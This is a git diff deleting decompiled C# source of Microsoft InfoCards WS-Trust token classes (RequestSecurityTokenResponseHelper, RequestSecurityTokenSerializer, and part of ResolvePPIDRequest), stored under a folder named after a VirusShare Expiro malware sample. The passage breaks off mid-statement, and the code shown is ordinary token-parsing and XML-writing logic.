a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityTokenResponseHelper.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityTokenResponseHelper.cs deleted file mode 100644 index b5803e2a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityTokenResponseHelper.cs +++ /dev/null @@ -1,463 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityTokenResponseHelper -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.IdentityModel.Policy; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.Security.Cryptography; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal static class RequestSecurityTokenResponseHelper - { - private static SecurityToken s_noProofToken = (SecurityToken) new UserNameSecurityToken("noproof", "noproof", "noproof"); - - private static RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse ReadRequestSecurityTokenResponse( - XmlDictionaryReader reader, - SecurityTokenSerializer tokenSerializer, - SecurityTokenResolver resolver, - ProtocolProfile profile) - { - InfoCardTrace.Assert(null != reader, "null reader"); - InfoCardTrace.Assert(null != tokenSerializer, "null tokenSerializer"); - RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse securityTokenResponse = new RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse(); - if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == profile.WSTrust.Version) - reader.ReadFullStartElement(profile.WSTrust.RequestSecurityTokenResponseCollection, profile.WSTrust.Namespace); - reader.ReadFullStartElement(profile.WSTrust.RequestSecurityTokenResponse, profile.WSTrust.Namespace); - bool flag1 = false; - bool flag2 = false; - bool flag3 = false; - bool flag4 = false; - bool flag5 = false; - bool flag6 = false; - bool flag7 = false; - bool flag8 = false; - bool flag9 = false; - bool flag10 = false; - bool flag11 = false; - securityTokenResponse.Created = DateTime.UtcNow; - securityTokenResponse.Expires = new DateTime(DateTime.MaxValue.Ticks - TimeSpan.FromDays(2.0).Ticks, DateTimeKind.Utc); - if (!reader.IsStartElement()) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("ServiceSTSCommunicationFailed"))); - while (reader.IsStartElement()) - { - if (reader.IsStartElement(profile.WSTrust.TokenType, profile.WSTrust.Namespace)) - { - if (flag1) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleTokenTypeElementsFound"))); - securityTokenResponse.TokenType = reader.ReadElementString(); - flag1 = true; - } - else if (reader.IsStartElement(profile.WSTrust.KeySize, profile.WSTrust.Namespace)) - { - if (flag3) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleKeySizeElementsFound"))); - int num = reader.ReadElementContentAsInt(); - securityTokenResponse.KeySize = num > 0 ? num : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("KeySizeMustBeGreaterThanZero"))); - flag3 = true; - } - else if (reader.IsStartElement(profile.WSTrust.KeyType, profile.WSTrust.Namespace)) - { - if (flag2) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleKeySizeElementsFound"))); - string uriString = reader.ReadElementContentAsString(); - Uri uri = new Uri(uriString); - if (profile.WSTrust.KeyTypeSymmetric.Equals((object) uri)) - securityTokenResponse.KeyType = new SecurityKeyTypeInternal?(SecurityKeyTypeInternal.SymmetricKey); - else if (profile.WSTrust.KeyTypeAsymmetric.Equals((object) uri)) - securityTokenResponse.KeyType = new SecurityKeyTypeInternal?(SecurityKeyTypeInternal.AsymmetricKey); - else if (profile.WSTrust.KeyTypeBearer.Equals((object) uri)) - securityTokenResponse.KeyType = new SecurityKeyTypeInternal?(SecurityKeyTypeInternal.NoKey); - else - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("KeyTypeNotRecognized", (object) uriString))); - flag2 = true; - } - else if (reader.IsStartElement(profile.WSTrust.Lifetime, profile.WSTrust.Namespace)) - { - if (flag6) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleLifetimeElementsFound"))); - reader.ReadStartElement(); - if (reader.IsStartElement("Created", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd")) - securityTokenResponse.Created = reader.ReadElementContentAsDateTime().ToUniversalTime(); - if (reader.IsStartElement("Expires", "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd")) - securityTokenResponse.Expires = reader.ReadElementContentAsDateTime().ToUniversalTime(); - reader.ReadEndElement(); - flag6 = true; - } - else if (reader.IsStartElement(profile.WSTrust.RequestedSecurityToken, profile.WSTrust.Namespace)) - { - if (flag7) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestedSecurityTokenElementsFound"))); - reader.ReadStartElement(); - reader.MoveToElement(); - XmlDocument xmlDocument = new XmlDocument(); - securityTokenResponse.IssuedTokenElement = xmlDocument.ReadNode((XmlReader) reader) as XmlElement; - reader.ReadEndElement(); - flag7 = true; - } - else if (reader.IsStartElement(profile.WSTrust.RequestedProofToken, profile.WSTrust.Namespace)) - { - if (flag8) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestedProofTokenElementsFound"))); - reader.ReadStartElement(); - if (reader.IsStartElement(profile.WSTrust.ComputedKey, profile.WSTrust.Namespace)) - { - securityTokenResponse.ComputedKeyAlgorithm = reader.ReadElementString(); - if (profile.WSTrust.ComputedKeyAlgorithm != securityTokenResponse.ComputedKeyAlgorithm) - throw InfoCardTrace.ThrowHelperError((Exception) new NotImplementedException(SR.GetString("OnlyPSha1SupportedCurrently", (object) securityTokenResponse.ComputedKeyAlgorithm))); - } - else - securityTokenResponse.ProofToken = tokenSerializer.ReadToken((XmlReader) reader, resolver); - reader.ReadEndElement(); - flag8 = true; - } - else if (reader.IsStartElement(profile.WSTrust.Entropy, profile.WSTrust.Namespace)) - { - if (flag10) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleEntropyElementsFound"))); - reader.ReadStartElement(); - securityTokenResponse.EntropyToken = tokenSerializer.ReadToken((XmlReader) reader, resolver); - reader.ReadEndElement(); - flag10 = true; - } - else if (reader.IsStartElement("RequestedDisplayToken", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - if (flag9) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestedDisplayTokenElementsFound"))); - securityTokenResponse.DisplayToken = RequestSecurityTokenResponseHelper.CreateDisplayToken(reader); - flag9 = true; - } - else if (reader.IsStartElement(profile.WSTrust.RequestedAttachedReference, profile.WSTrust.Namespace)) - { - if (flag4) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestedAttachedReferenceElementsFound"))); - reader.ReadStartElement(); - securityTokenResponse.RequestedAttachedReference = tokenSerializer.ReadKeyIdentifierClause((XmlReader) reader); - reader.ReadEndElement(); - flag4 = true; - } - else if (reader.IsStartElement(profile.WSTrust.RequestedUnattachedReference, profile.WSTrust.Namespace)) - { - if (flag5) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestedUnattachedReferenceElementsFound"))); - reader.ReadStartElement(); - securityTokenResponse.RequestedUnattachedReference = tokenSerializer.ReadKeyIdentifierClause((XmlReader) reader); - reader.ReadEndElement(); - flag5 = true; - } - else if (reader.IsStartElement(profile.WSTrust.RequestType, profile.WSTrust.Namespace)) - { - if (flag11) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleRequestTypeElementsFound"))); - securityTokenResponse.RequestType = reader.ReadElementContentAsString(); - if (profile.WSTrust.IssueRequestType != securityTokenResponse.RequestType) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("OnlyIssueRequestTypeSupported", (object) securityTokenResponse.RequestType, (object) profile.WSTrust.IssueRequestType))); - flag11 = true; - } - else - reader.Skip(); - } - reader.ReadEndElement(); - if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == profile.WSTrust.Version) - { - if (!(profile.WSTrust.RequestSecurityTokenResponseCollection == reader.LocalName) || !(profile.WSTrust.Namespace == reader.NamespaceURI) || reader.NodeType != XmlNodeType.EndElement) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("ServiceSTSCommunicationFailed"))); - reader.ReadEndElement(); - } - return securityTokenResponse; - } - - public static GenericXmlSecurityToken ProcessBearerTokenData( - XmlDictionaryReader reader, - SecurityTokenSerializer tokenSerializer, - SecurityTokenResolver resolver, - ProtocolProfile profile, - out DisplayToken displayToken) - { - RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse securityTokenResponse = RequestSecurityTokenResponseHelper.ReadRequestSecurityTokenResponse(reader, tokenSerializer, resolver, profile); - displayToken = securityTokenResponse.DisplayToken ?? new DisplayToken(); - securityTokenResponse.ValidateRstrContents(SecurityKeyTypeInternal.NoKey); - SecurityToken noProofToken = RequestSecurityTokenResponseHelper.s_noProofToken; - return new GenericXmlSecurityToken(securityTokenResponse.IssuedTokenElement, noProofToken, securityTokenResponse.Created, securityTokenResponse.Expires, securityTokenResponse.RequestedAttachedReference, securityTokenResponse.RequestedUnattachedReference, (ReadOnlyCollection) null); - } - - public static GenericXmlSecurityToken ProcessSymmetricTokenData( - XmlDictionaryReader reader, - SecurityTokenSerializer tokenSerializer, - SecurityTokenResolver resolver, - byte[] clientEntropyForSymmetric, - ProtocolProfile profile, - out DisplayToken displayToken) - { - RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse securityTokenResponse = RequestSecurityTokenResponseHelper.ReadRequestSecurityTokenResponse(reader, tokenSerializer, resolver, profile); - displayToken = securityTokenResponse.DisplayToken ?? new DisplayToken(); - securityTokenResponse.ValidateRstrContents(SecurityKeyTypeInternal.SymmetricKey); - if (securityTokenResponse.EntropyToken != null) - { - InfoCardTrace.Assert(profile.WSTrust.ComputedKeyAlgorithm == securityTokenResponse.ComputedKeyAlgorithm, "We already made sure it is PSHA1 while processing RSTR"); - if (!(securityTokenResponse.EntropyToken is BinarySecretSecurityToken entropyToken)) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("InvalidEntropyContents"))); - int num = clientEntropyForSymmetric.Length * 8; - if (securityTokenResponse.GetIntelligentKeySize(true, num) != num) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException("SymmetricProofKeyLengthMismatch")); - byte[] combinedKey = RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse.ComputeCombinedKey(clientEntropyForSymmetric, entropyToken.GetKeyBytes(), num); - securityTokenResponse.ProofToken = (SecurityToken) new BinarySecretSecurityToken(combinedKey); - } - else if (securityTokenResponse.ProofToken == null) - { - byte[] key = clientEntropyForSymmetric; - securityTokenResponse.ProofToken = (SecurityToken) new BinarySecretSecurityToken(key); - } - return new GenericXmlSecurityToken(securityTokenResponse.IssuedTokenElement, securityTokenResponse.ProofToken, securityTokenResponse.Created, securityTokenResponse.Expires, securityTokenResponse.RequestedAttachedReference, securityTokenResponse.RequestedUnattachedReference, (ReadOnlyCollection) null); - } - - public static GenericXmlSecurityToken ProcessAsymmetricTokenData( - XmlDictionaryReader reader, - RSA rsa, - SecurityTokenSerializer tokenSerializer, - SecurityTokenResolver resolver, - ProtocolProfile profile, - out DisplayToken displayToken) - { - InfoCardTrace.Assert(null != rsa, "null rsa"); - RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse securityTokenResponse = RequestSecurityTokenResponseHelper.ReadRequestSecurityTokenResponse(reader, tokenSerializer, resolver, profile); - displayToken = securityTokenResponse.DisplayToken ?? new DisplayToken(); - securityTokenResponse.ValidateRstrContents(SecurityKeyTypeInternal.AsymmetricKey); - SecurityToken proofToken = (SecurityToken) new RsaSecurityToken(rsa); - return new GenericXmlSecurityToken(securityTokenResponse.IssuedTokenElement, proofToken, securityTokenResponse.Created, securityTokenResponse.Expires, securityTokenResponse.RequestedAttachedReference, securityTokenResponse.RequestedUnattachedReference, (ReadOnlyCollection) null); - } - - private static DisplayToken CreateDisplayToken(XmlDictionaryReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - DisplayToken displayToken = new DisplayToken(); - XmlReader reader1 = InfoCardSchemas.CreateReader(reader.ReadOuterXml()); - try - { - reader1.ReadStartElement("RequestedDisplayToken", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - reader1.ReadStartElement("DisplayToken", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - while (reader1.IsStartElement()) - { - if (reader1.IsStartElement("DisplayClaim", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - List claimList = new List(); - while (reader1.IsStartElement()) - { - if (reader1.IsStartElement("DisplayClaim", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - DisplayClaim displayClaim = RequestSecurityTokenResponseHelper.ReadDisplayClaim(reader1); - if (displayClaim != null) - claimList.Add(displayClaim); - } - else - reader1.Skip(); - } - displayToken = new DisplayToken(claimList); - } - else if (reader1.IsStartElement("DisplayTokenText", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - { - string attribute = reader1.GetAttribute("MimeType"); - string displayString = reader1.ReadElementContentAsString(); - if (!string.IsNullOrEmpty(displayString) && !string.IsNullOrEmpty(attribute)) - displayToken = new DisplayToken(displayString, attribute); - } - else - reader1.Skip(); - } - reader1.ReadEndElement(); - reader1.ReadEndElement(); - } - catch (Exception ex) - { - displayToken = (DisplayToken) null; - if (InfoCardTrace.IsFatal(ex)) - throw; - } - return displayToken; - } - - private static DisplayClaim ReadDisplayClaim(XmlReader reader) - { - if (!reader.IsStartElement("DisplayClaim", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("UnexpectedElement"))); - string name = string.Empty; - List stringList = new List(); - string description = string.Empty; - string empty = string.Empty; - string attribute = reader.GetAttribute("Uri", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (string.IsNullOrEmpty(attribute)) - attribute = reader.GetAttribute("Uri"); - bool isEmptyElement = reader.IsEmptyElement; - reader.ReadStartElement(); - if (!isEmptyElement) - { - while (reader.IsStartElement()) - { - if (reader.IsStartElement("DisplayTag", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - name = reader.ReadElementContentAsString(); - else if (reader.IsStartElement("DisplayValue", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - stringList.Add(reader.ReadElementContentAsString()); - else if (reader.IsStartElement("Description", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - description = reader.ReadElementContentAsString(); - else - reader.Skip(); - } - reader.ReadEndElement(); - } - return new DisplayClaim(name, stringList, description, attribute); - } - - private class RequestSecurityTokenResponse - { - private int m_keySize; - private bool m_keySizeSpecified; - private DateTime m_created = DateTime.UtcNow; - private DateTime m_expires = DateTime.UtcNow.AddHours(1.0); - private string m_requestType; - private SecurityKeyIdentifierClause m_requestedAttachedReference; - private SecurityKeyIdentifierClause m_requestedUnattachedReference; - private SecurityToken m_entropyToken; - private string m_computedKeyAlgorithm; - private DisplayToken m_displayToken; - private SecurityKeyTypeInternal? m_keyType; - private string m_tokenType; - private XmlElement m_issuedTokenElement; - private SecurityToken m_proofToken; - - public int KeySize - { - set - { - this.m_keySize = value; - this.m_keySizeSpecified = true; - } - } - - public int GetIntelligentKeySize(bool symmetric, int rstKeySize) - { - if (!symmetric) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException()); - return !this.m_keySizeSpecified ? rstKeySize : this.m_keySize; - } - - public SecurityKeyTypeInternal? KeyType - { - get => this.m_keyType; - set => this.m_keyType = value; - } - - public DateTime Created - { - get => this.m_created; - set => this.m_created = value; - } - - public DateTime Expires - { - get => this.m_expires; - set => this.m_expires = value; - } - - public SecurityKeyIdentifierClause RequestedAttachedReference - { - get => this.m_requestedAttachedReference; - set => this.m_requestedAttachedReference = value; - } - - public SecurityKeyIdentifierClause RequestedUnattachedReference - { - get => this.m_requestedUnattachedReference; - set => this.m_requestedUnattachedReference = value; - } - - public string TokenType - { - set => this.m_tokenType = value; - } - - public SecurityToken EntropyToken - { - get => this.m_entropyToken; - set => this.m_entropyToken = value; - } - - public string ComputedKeyAlgorithm - { - get => this.m_computedKeyAlgorithm; - set => this.m_computedKeyAlgorithm = value; - } - - public DisplayToken DisplayToken - { - get => this.m_displayToken; - set => this.m_displayToken = value; - } - - public XmlElement IssuedTokenElement - { - get => this.m_issuedTokenElement; - set => this.m_issuedTokenElement = value; - } - - public SecurityToken ProofToken - { - get => this.m_proofToken; - set => this.m_proofToken = value; - } - - public string RequestType - { - get => this.m_requestType; - set => this.m_requestType = value; - } - - public static byte[] ComputeCombinedKey( - byte[] requestorEntropy, - byte[] issuerEntropy, - int keySize) - { - if (requestorEntropy == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (requestorEntropy)); - if (issuerEntropy == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (issuerEntropy)); - InfoCardTrace.Assert(keySize > 0, "Keysize must be > 0"); - return new Psha1DerivedKeyGenerator(requestorEntropy).GenerateDerivedKey(new byte[0], issuerEntropy, keySize, 0); - } - - public void ValidateRstrContents(SecurityKeyTypeInternal keyTypeExpected) - { - if (this.IssuedTokenElement == null) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("NoIssuedTokenXml"))); - if (this.KeyType.HasValue) - { - SecurityKeyTypeInternal securityKeyTypeInternal = keyTypeExpected; - SecurityKeyTypeInternal? keyType = this.KeyType; - if ((securityKeyTypeInternal != keyType.GetValueOrDefault() ? 1 : (!keyType.HasValue ? 1 : 0)) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("ProofKeyTypeMismatch"))); - } - if (keyTypeExpected == SecurityKeyTypeInternal.SymmetricKey) - return; - if (SecurityKeyTypeInternal.AsymmetricKey == keyTypeExpected) - { - if (this.ProofToken != null) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("ProofTokenXmlUnexpectedInRstr"))); - } - else - { - InfoCardTrace.Assert(SecurityKeyTypeInternal.NoKey == keyTypeExpected, "Bad enum member for SecurityKeyTypeInternal"); - if (this.ProofToken != null) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("ProofTokenXmlUnexpectedInRstr"))); - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityTokenSerializer.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityTokenSerializer.cs deleted file mode 100644 index 85bd7487..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/RequestSecurityTokenSerializer.cs +++ /dev/null @@ -1,212 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityTokenSerializer -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.IdentityModel.Tokens; -using System.IO; -using System.ServiceModel; -using System.ServiceModel.Channels; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class RequestSecurityTokenSerializer - { - private XmlWriter m_writer; - private ProtocolProfile m_profile; - - public XmlWriter Writer => this.m_writer; - - public ProtocolProfile Profile => this.m_profile; - - private XmlNames.IWSTrust WSTrust => this.Profile.WSTrust; - - private XmlNames.IWSPolicy WSPolicy => this.Profile.WSPolicy; - - private string WSTPrefix => this.Profile.WSTrust.DefaultPrefix; - - private string WSIPrefix => "wsid"; - - private string WSPPrefix => this.Profile.WSPolicy.DefaultPrefix; - - private string DSIGPrefix => "dsig"; - - public RequestSecurityTokenSerializer(XmlWriter writer, ProtocolProfile profile) - { - this.m_writer = writer; - this.m_profile = profile; - } - - public void WriteClaimElement(string claimUri, bool bIsOptionalClaim) - { - this.Writer.WriteStartElement(this.WSIPrefix, "ClaimType", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteAttributeString("Uri", claimUri); - if (bIsOptionalClaim) - this.Writer.WriteAttributeString("Optional", "true"); - this.Writer.WriteEndElement(); - } - - public void WriteClaimsElement( - Dictionary disclosedClaims, - string[] requiredClaims, - string[] optionalClaims) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.ClaimsElement, this.WSTrust.Namespace); - this.Writer.WriteAttributeString(this.WSTrust.Dialect, "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (disclosedClaims != null) - { - foreach (KeyValuePair disclosedClaim in disclosedClaims) - this.WriteClaimElement(disclosedClaim.Key, disclosedClaim.Value); - } - else - { - foreach (string requiredClaim in requiredClaims) - this.WriteClaimElement(requiredClaim, false); - foreach (string optionalClaim in optionalClaims) - this.WriteClaimElement(optionalClaim, true); - } - this.Writer.WriteEndElement(); - } - - public void WriteRequestTypeElement(string requestType) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.RequestType, this.WSTrust.Namespace); - this.Writer.WriteString(requestType); - this.Writer.WriteEndElement(); - } - - public void WritePPIDElement(byte[] ppid) - { - this.Writer.WriteStartElement("ClientPseudonym", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteStartElement("PPID", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteBase64(ppid, 0, ppid.Length); - this.Writer.WriteEndElement(); - this.Writer.WriteEndElement(); - } - - public void WriteAppliesToElement(EndpointAddress address, AddressingVersion version) - { - this.Writer.WriteStartElement(this.WSPPrefix, this.WSPolicy.AppliesTo, this.WSPolicy.Namespace); - address.WriteTo(version, this.Writer); - this.Writer.WriteEndElement(); - } - - public void WriteKeySizeElement(string keySize) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.KeySize, this.WSTrust.Namespace); - this.Writer.WriteString(keySize); - this.Writer.WriteEndElement(); - } - - public void WriteKeyTypeElement(string keyType) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.KeyType, this.WSTrust.Namespace); - this.Writer.WriteString(keyType); - this.Writer.WriteEndElement(); - } - - public void WriteUseKeyElement(XmlElement useKey) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.UseKey, this.WSTrust.Namespace); - this.Writer.WriteStartElement(this.DSIGPrefix, "KeyInfo", "http://www.w3.org/2000/09/xmldsig#"); - this.Writer.WriteStartElement(this.DSIGPrefix, "KeyValue", "http://www.w3.org/2000/09/xmldsig#"); - useKey.WriteContentTo(this.Writer); - this.Writer.WriteEndElement(); - this.Writer.WriteEndElement(); - this.Writer.WriteEndElement(); - } - - public void WriteBinarySecretElement(BinarySecretSecurityToken bst) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.Entropy, this.WSTrust.Namespace); - this.Profile.TokenSerializer.WriteToken(this.Writer, (SecurityToken) bst); - this.Writer.WriteEndElement(); - } - - public void WriteInfoCardReferenceElement(InfoCard card) - { - this.Writer.WriteStartElement(this.WSIPrefix, "InformationCardReference", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteStartElement(this.WSIPrefix, "CardId", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteString(card.Id.ToString()); - this.Writer.WriteEndElement(); - this.Writer.WriteStartElement(this.WSIPrefix, "CardVersion", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteString(card.Epoch.ToString((IFormatProvider) CultureInfo.InvariantCulture)); - this.Writer.WriteEndElement(); - this.Writer.WriteEndElement(); - } - - public void WriteDisplayTokenElement(CultureInfo displayCulture) - { - this.Writer.WriteStartElement(this.WSIPrefix, "RequestDisplayToken", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - this.Writer.WriteAttributeString("xml", "lang", (string) null, displayCulture.TwoLetterISOLanguageName); - this.Writer.WriteEndElement(); - } - - public void WriteTokenTypeElement(string tokenType) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.TokenType, this.WSTrust.Namespace); - this.Writer.WriteString(tokenType); - this.Writer.WriteEndElement(); - } - - public void WriteEncryptionAlgorithmElement(string encryptionAlgorithm) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.EncryptionAlgorithm, this.WSTrust.Namespace); - this.Writer.WriteString(encryptionAlgorithm); - this.Writer.WriteEndElement(); - } - - public void WriteSignWithElement(string signWith) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.SignWith, this.WSTrust.Namespace); - this.Writer.WriteString(signWith); - this.Writer.WriteEndElement(); - } - - public void WriteEncryptWithElement(string encryptWith) - { - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.EncryptWith, this.WSTrust.Namespace); - this.Writer.WriteString(encryptWith); - this.Writer.WriteEndElement(); - } - - public void WriteKeyWrapAlgorithmElement(string keyWrapAlgorithm) - { - InfoCardTrace.Assert(this.WSTrust.Version == XmlNames.WSSpecificationVersion.WSTrustOasis2007, "KeyWrapAlgorithm element is valid in WS-Trust 1.3 only"); - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.KeyWrapAlgorithm, this.WSTrust.Namespace); - this.Writer.WriteString(keyWrapAlgorithm); - this.Writer.WriteEndElement(); - } - - public void WriteUnprocessedPolicyElements(MemoryStream unprocessedElements) - { - unprocessedElements.Seek(0L, SeekOrigin.Begin); - XmlReader reader = XmlReader.Create((Stream) unprocessedElements, new XmlReaderSettings() - { - ConformanceLevel = ConformanceLevel.Fragment - }); - while (!reader.EOF) - this.Writer.WriteNode(reader, true); - } - - public void WriteSecondaryParametersElement(string policyXml) - { - InfoCardTrace.Assert(this.WSTrust.Version == XmlNames.WSSpecificationVersion.WSTrustOasis2007, "SecondaryParameters element is valid in WS-Trust 1.3 only"); - this.Writer.WriteStartElement(this.WSTPrefix, this.WSTrust.SecondaryParameters, this.WSTrust.Namespace); - XmlReader reader = XmlReader.Create((TextReader) new StringReader(policyXml), new XmlReaderSettings() - { - ConformanceLevel = ConformanceLevel.Fragment - }); - while (!reader.EOF) - this.Writer.WriteNode(reader, true); - this.Writer.WriteEndElement(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ResolvePPIDRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ResolvePPIDRequest.cs deleted file mode 100644 index 09ff4f09..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ResolvePPIDRequest.cs +++ /dev/null @@ -1,52 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ResolvePPIDRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class ResolvePPIDRequest : UIAgentRequest - { - private string m_selfIssuedCardId; - private string m_managedCardId; - private string m_ppid; - - public ResolvePPIDRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_ppid = Utility.DeserializeString(reader); - this.m_managedCardId = Utility.DeserializeString(reader); - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - InfoCard infoCard = 